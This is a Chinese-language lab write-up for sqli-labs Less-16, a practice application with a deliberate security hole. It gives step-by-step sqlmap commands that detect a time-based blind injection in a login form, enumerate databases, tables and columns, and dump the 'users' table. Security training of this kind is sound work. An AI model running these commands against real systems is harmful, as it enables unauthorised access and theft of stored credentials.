sqli-labs-Less-16自动化注入方法

sqli-labs 实验记录

Less-16

第一步：进行sqli注入漏洞检测

输入命令：

sqlmap -u http://localhost/Less-16/?id=1 --batch --forms

--batch 表示采用默认参数。
--forms 表示自动提交表单。

查询结果如图所示：存在注入点uname，注入方式为POST，注入类型为：time-based blind; 并给出了相应的payload。

第二步：查询服务器中的所有数据库

输入命令：

sqlmap -u http://localhost/Less-16/?id=1 --batch --forms --dbs

--dbs 表示查询数据库。

查询结果如图所示：数据库共有7个，分别为information_schema, performance_schema, sys, sqli, security, challenges, mysql。

第三步：查询指定数据库中的所有表

输入命令：

sqlmap -u http://localhost/Less-16/?id=1 --batch --forms -D security --tables

-D security 表示指定查询数据库security;
--tables 表示查询数据库中的所有表。

查询结果如图所示：数据表共有4个，分别是emails, referers, uagents, users。

第四步：查询指定数据表中的所有列

输入命令：

sqlmap -u http://localhost/Less-16/?id=1 --batch --forms -D security -T users --columns

-T users 表示指定查询数据表users;
--columns 表示查询数据表中的所有列。

查询结果如图所示：数据列共有3个，分别是id, password, username。

第五步：查询指定数据表中的具体信息

输入命令：

sqlmap -u http://localhost/Less-16/?id=1 --batch --forms -D security -T users --dump

--dump 表示查询数据表中的具体信息

查询结果如图所示：数据表users中的具体信息共有13条。